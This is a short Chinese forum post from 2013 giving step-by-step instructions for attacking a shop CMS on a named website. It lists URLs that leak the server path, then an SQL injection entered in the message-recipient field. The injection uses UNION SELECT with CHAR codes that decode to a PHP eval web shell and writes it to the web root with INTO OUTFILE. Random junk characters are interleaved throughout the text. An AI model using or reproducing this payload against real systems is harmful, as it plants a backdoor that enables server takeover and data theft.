第一个：想办法找到目标网站的绝对路径+ e; _% X- g0 o5 D2 F6 g+ q
! Z x" r* \8 F5 R9 Fhttp://www.political-security.com/install/svinfo.php?phpinfo=true
/ p) L& t; M3 d+ i5 B" [1 X& L! q8 @6 f
http:/www.political-security.com/core/api/shop_api.php. n7 L3 y, A( t6 T5 W/ |
+ X }. N! v6 w" q% mhttp://www.political-security.co ... api_b2b_2_0_cat.php
$ G' a, _5 Y" F+ O: @! f2 r7 p i4 v8 Y a5 Y
http://www.political-security.com/core/ap ... b_2_0_goodstype.php
- m! U9 I- H% U3 W2 n& P
1 C( ? O. y% v8 khttp://www.political-security.co ... i_b2b_2_0_brand.php( b" O$ ], ~( u( Y1 @0 e
第二个：注册一个普通用户3 K% |. z* V: j" i i9 U
& G2 Y9 \* K9 a/ A/ \% y2 Dhttp://www.political-security.com/?passport-signup.html' `/ |8 w) l( _( f
1 a: x, A7 W) F第三个： 发送消息 3 o; x5 g6 l: g3 M% H
/ {- K8 t2 A# |$ X/ Z
http://www.political-security.com/?member-send.html
1 O) ?% B. Y1 o发送给中填写+ Z5 O9 Q' J9 e x: l' _. ?; F
antian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对